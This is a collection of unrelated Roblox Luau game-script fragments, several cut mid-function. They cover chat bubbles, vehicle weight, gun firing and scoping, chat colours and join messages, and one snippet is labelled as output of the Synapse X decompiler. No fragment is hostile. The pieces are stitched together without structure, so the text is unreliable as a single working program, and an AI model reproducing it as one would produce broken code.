Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) if UserShouldLocalizeGameChatBubble then this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true) else this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false) end end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
-- Assign hotkey for exporting selection
AssignHotkey({ 'LeftShift', 'P' }, ExportSelection); AssignHotkey({ 'RightShift', 'P' }, ExportSelection);
-- Game services
local Configurations = require(game.ServerStorage.Configurations) local TeamManager = require(script.TeamManager) local PlayerManager = require(script.PlayerManager) local MapManager = require(script.MapManager) local TimeManager = require(script.TimeManager) local DisplayManager = require(script.DisplayManager)
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end
--// Setting things up
log("Setting things up") for ind, loc in { _G = _G, game = game, spawn = spawn, script = script, getfenv = getfenv, setfenv = setfenv, workspace = workspace, getmetatable = getmetatable, setmetatable = setmetatable, loadstring = loadstring, coroutine = coroutine, rawequal = rawequal, typeof = typeof, print = print, math = math, warn = warn, error = error, assert = assert, pcall = pcall, xpcall = xpcall, select = select, rawset = rawset, rawget = rawget, ipairs = ipairs, pairs = pairs, next = next, Rect = Rect, Axes = Axes, os = os, time = time, Faces = Faces, delay = delay, unpack = unpack, string = string, Color3 = Color3, newproxy = newproxy, tostring = tostring, tonumber = tonumber, Instance = Instance, TweenInfo = TweenInfo, BrickColor = BrickColor, NumberRange = NumberRange, ColorSequence = ColorSequence, NumberSequence = NumberSequence, ColorSequenceKeypoint = ColorSequenceKeypoint, NumberSequenceKeypoint = NumberSequenceKeypoint, PhysicalProperties = PhysicalProperties, Region3int16 = Region3int16, Vector3int16 = Vector3int16, require = require, table = table, type = type, wait = wait, Enum = Enum, UDim = UDim, UDim2 = UDim2, Vector2 = Vector2, Vector3 = Vector3, Region3 = Region3, CFrame = CFrame, Ray = Ray, task = task, tick = tick, service = service, } do locals[ind] = loc end
--[[Vehicle Weight]]
--Determine Current Mass local mass=0 function getMass(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") then mass=mass+v:GetMass() end getMass(v) end end getMass(car) --Apply Vehicle Weight if mass<_Tune.Weight*weightScaling then --Calculate Weight Distribution local centerF = Vector3.new() local centerR = Vector3.new() local countF = 0 local countR = 0 for i,v in pairs(Drive) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then centerF = centerF+v.CFrame.p countF = countF+1 else centerR = centerR+v.CFrame.p countR = countR+1 end end centerF = centerF/countF centerR = centerR/countR local center = centerR:Lerp(centerF, _Tune.WeightDist/100) --Create Weight Brick local weightB = Instance.new("Part",car.Body) weightB.Name = "#Weight" weightB.Anchored = true weightB.CanCollide = false weightB.BrickColor = BrickColor.new("Really black") weightB.TopSurface = Enum.SurfaceType.Smooth weightB.BottomSurface = Enum.SurfaceType.Smooth if _Tune.WBVisible then weightB.Transparency = .75 else weightB.Transparency = 1 end weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3]) weightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0) weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0) else --Existing Weight Is Too Massive warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight." .."\n\t Target Mass:\t"..(math.ceil(_Tune.Weight*weightScaling*100)/100) .."\n\t Current Mass:\t"..(math.ceil(mass*100)/100) .."\n\t Reduce part size or axle density to achieve desired weight.") end local flipG = Instance.new("BodyGyro",car.DriveSeat) flipG.Name = "Flip" flipG.D = 0 flipG.MaxTorque = Vector3.new(0,0,0) flipG.P = 0
----[[ Color Settings ]]
module.BackGroundColor = Color3.new(0, 0, 0) module.DefaultMessageColor = Color3.new(1, 1, 1) module.DefaultNameColor = Color3.new(1, 1, 1) module.ChatBarBackGroundColor = Color3.new(0, 0, 0) module.ChatBarBoxColor = Color3.new(1, 1, 1) module.ChatBarTextColor = Color3.new(0, 0, 0) module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0) module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255) module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142) module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102) module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)
-- Returns true if the weapon is empty -- @Return Boolean
function WeaponRuntimeData:IsEmpty() return self.currentAmmo <= 0 end
-- Decompiled with the Synapse X Luau decompiler.
service = nil; Routine = nil; client = nil; return function(p1, p2, p3) local v1 = Color3.new(math.random(), math.random(), math.random()); local u1 = { Frame = true, TextBox = true, TextLabel = true, TextButton = true, ImageLabel = true, ImageButton = true, ScrollingFrame = true }; local u2 = {}; local function u3(p4) for v2, v3 in pairs(p4:GetChildren()) do if u1[v3.ClassName] then table.insert(u2, v3); u3(v3); end; end; end; if u1[p1.ClassName] then table.insert(u2, p1); end; u3(p1); if p3.Name == "List" then p1.Drag.Main.BackgroundTransparency = 0; end; local u4 = { Color3.fromRGB(255, 85, 88), Color3.fromRGB(78, 140, 255), Color3.fromRGB(78, 255, 149) }; local function u5(p5, p6, p7, p8) local v4 = p7 and 0.1; for v5 = 0, 1, v4 do for v6, v7 in next, u2 do if v7.Name ~= "CapeColor" and v7.Name ~= "Color" then v7.BackgroundColor3 = p5:lerp(p6, v5); if v7:IsA("ImageLabel") or v7:IsA("ImageButton") then v7.ImageColor3 = p5:lerp(p6, v5); end; end; end; wait(p8 / (1 / v4)); end; end; service.TrackTask("Thread: Colorize_" .. tostring(p3.Name), function() while (not (not p3.Active) and not (not wait()) or not (not wait(1))) and not p3.Destroyed do for v8, v9 in next, u4 do local v10 = u4[1]; if v8 == #u4 then local v11 = u4[1]; else v11 = u4[v8 + 1]; end; u5(u4[v8], v11, 0.01, 2); end; end; end); end;
-- The amount the aim will increase or decrease by -- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0
--------------------------------------------------------------------------------------------------
Mouse.Button1Down:connect(function() if not UserInputService.TouchEnabled then Down = true local IsChargedShot = false if Equipped and Enabled and Down and not Reloading and not HoldDown and Mag > 0 and Humanoid.Health > 0 then Enabled = false if Module.ChargedShotEnabled then if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end wait(Module.ChargingTime) IsChargedShot = true end if Module.MinigunEnabled then if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end wait(Module.DelayBeforeFiring) end while Equipped and not Reloading and not HoldDown and (Down or IsChargedShot) and Mag > 0 and Humanoid.Health > 0 do IsChargedShot = false Player.PlayerScripts.BulletVisualizerScript.VisualizeM:Fire(nil,HandleToFire, Module.MuzzleFlashEnabled, {Module.MuzzleLightEnabled,Module.LightBrightness,Module.LightColor,Module.LightRange,Module.LightShadows,Module.VisibleTime}, script:WaitForChild("MuzzleEffect")) VisualizeMuzzle:FireServer(HandleToFire, Module.MuzzleFlashEnabled, {Module.MuzzleLightEnabled,Module.LightBrightness,Module.LightColor,Module.LightRange,Module.LightShadows,Module.VisibleTime}, script:WaitForChild("MuzzleEffect")) for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do spawn(RecoilCamera) EjectShell(HandleToFire) CrosshairModule.crossspring:accelerate(Module.CrossExpansion) for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do Fire(HandleToFire, Mouse) end Mag = Mag - 1 ChangeMagAndAmmo:FireServer(Mag,Ammo) UpdateGUI() if Module.BurstFireEnabled then wait(Module.BurstRate) end if Mag <= 0 then break end end HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle wait(Module.FireRate) if not Module.Auto then break end end if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end if Module.MinigunEnabled then if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end wait(Module.DelayAfterFiring) end Enabled = true if Mag <= 0 then Reload() end end end end) Mouse.Button1Up:connect(function() if not UserInputService.TouchEnabled then Down = false end end) ChangeMagAndAmmo.OnClientEvent:connect(function(ChangedMag,ChangedAmmo) Mag = ChangedMag Ammo = ChangedAmmo UpdateGUI() end) Tool.Equipped:connect(function(TempMouse) GUI.Parent = Player.PlayerGui UpdateGUI() Handle.EquippedSound:Play() if Module.WalkSpeedRedutionEnabled then Humanoid.WalkSpeed = Humanoid.WalkSpeed - Module.WalkSpeedRedution else Humanoid.WalkSpeed = Humanoid.WalkSpeed end CrosshairModule:setcrosssettings(Module.CrossSize, Module.CrossSpeed, Module.CrossDamper) UserInputService.MouseIconEnabled = false if EquippedAnim then EquippedAnim:Play(nil,nil,Module.EquippedAnimationSpeed) end if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end delay(Module.EquippingTime, function() Equipped = true if Module.AmmoPerMag ~= math.huge then GUI.Frame.Visible = true end end) TempMouse.KeyDown:connect(function(Key) if string.lower(Key) == "r" then Reload() elseif string.lower(Key) == "e" then if not Reloading and not HoldDown and Module.HoldDownEnabled then HoldDown = true IdleAnim:Stop() if HoldDownAnim then HoldDownAnim:Play(nil,nil,Module.HoldDownAnimationSpeed) end if AimDown then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play() CrosshairModule:setcrossscale(1) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic UserInputService.MouseDeltaSensitivity = InitialSensitivity AimDown = false end else HoldDown = false IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) if HoldDownAnim then HoldDownAnim:Stop() end end end end) Mouse.Button2Down:connect(function() if not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.IronsightEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewIS}):Play() CrosshairModule:setcrossscale(Module.CrossScaleIS) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone() GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]] --Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveIS AimDown = true elseif not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.SniperEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewS}):Play() CrosshairModule:setcrossscale(Module.CrossScaleS) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone() GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]] local zoomsound = GUI.Scope.ZoomSound:Clone() zoomsound.Parent = Player.PlayerGui zoomsound:Play() Scoping = true game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveS AimDown = true game:GetService("Debris"):addItem(zoomsound,zoomsound.TimeLength) end end) Mouse.Button2Up:connect(function() if AimDown then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play() CrosshairModule:setcrossscale(1) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic UserInputService.MouseDeltaSensitivity = InitialSensitivity AimDown = false end end) if Module.DualEnabled and not workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand") local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() HoldDown = false Equipped = false GUI.Parent = script GUI.Frame.Visible = false if Module.WalkSpeedRedutionEnabled then Humanoid.WalkSpeed = Humanoid.WalkSpeed + Module.WalkSpeedRedution else Humanoid.WalkSpeed = Humanoid.WalkSpeed end UserInputService.MouseIconEnabled = true if IdleAnim then IdleAnim:Stop() end if HoldDownAnim then HoldDownAnim:Stop() end if AimDown then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play() CrosshairModule:setcrossscale(1) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic UserInputService.MouseDeltaSensitivity = InitialSensitivity AimDown = false end if Module.DualEnabled and not workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end) Humanoid.Died:connect(function() HoldDown = false Equipped = false GUI.Parent = script GUI.Frame.Visible = false if Module.WalkSpeedRedutionEnabled then Humanoid.WalkSpeed = Humanoid.WalkSpeed + Module.WalkSpeedRedution else Humanoid.WalkSpeed = Humanoid.WalkSpeed end UserInputService.MouseIconEnabled = true if IdleAnim then IdleAnim:Stop() end if HoldDownAnim then HoldDownAnim:Stop() end if AimDown then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play() CrosshairModule:setcrossscale(1) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") if GUI then GUI:Destroy() end]] Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic UserInputService.MouseDeltaSensitivity = InitialSensitivity AimDown = false end if Module.DualEnabled and not workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end) local lastTick = tick() game:GetService("RunService"):BindToRenderStep("Mouse", Enum.RenderPriority.Input.Value, function() local deltaTime = tick() - lastTick lastTick = tick() if Scoping and UserInputService.MouseEnabled and UserInputService.KeyboardEnabled then --For pc version GUI.Scope.Size = UDim2.new(numLerp(GUI.Scope.Size.X.Scale, 1.2, math.min(deltaTime * 5, 1)), 36, numLerp(GUI.Scope.Size.Y.Scale, 1.2, math.min(deltaTime * 5, 1)), 36) GUI.Scope.Position = UDim2.new(0, Mouse.X - GUI.Scope.AbsoluteSize.X / 2, 0, Mouse.Y - GUI.Scope.AbsoluteSize.Y / 2) elseif Scoping and UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not UserInputService.KeyboardEnabled then --For mobile version, but in first-person view GUI.Scope.Size = UDim2.new(numLerp(GUI.Scope.Size.X.Scale, 1.2, math.min(deltaTime * 5, 1)), 36, numLerp(GUI.Scope.Size.Y.Scale, 1.2, math.min(deltaTime * 5, 1)), 36) GUI.Scope.Position = UDim2.new(0, GUI.Crosshair.AbsolutePosition.X - GUI.Scope.AbsoluteSize.X / 2, 0, GUI.Crosshair.AbsolutePosition.Y - GUI.Scope.AbsoluteSize.Y / 2) else GUI.Scope.Size = UDim2.new(0.6, 36, 0.6, 36) GUI.Scope.Position = UDim2.new(0, 0, 0, 0) end GUI.Scope.Visible = Scoping if UserInputService.MouseEnabled and UserInputService.KeyboardEnabled then --For pc version GUI.Crosshair.Position = UDim2.new(0, Mouse.X, 0, Mouse.Y) elseif UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not UserInputService.KeyboardEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude > 2 then --For mobile version, but in third-person view GUI.Crosshair.Position = UDim2.new(0.5, 0, 0.4, -50) elseif UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not UserInputService.KeyboardEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 2 then --For mobile version, but in first-person view GUI.Crosshair.Position = UDim2.new(0.5, -1, 0.5, -19) end end)
-- place this script into StarterPlayerScripts -- it will not work otherwise
local sm = Color3.fromRGB(0, 255, 255)--color of the message local sm1 = Color3.fromRGB(255, 0, 0)--color of the message game:GetService('Players').PlayerAdded:Connect(function(plr) local message = ("[Server]: "..plr.Name.." Just Joined The Game!") game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = message; Color = sm; }) end)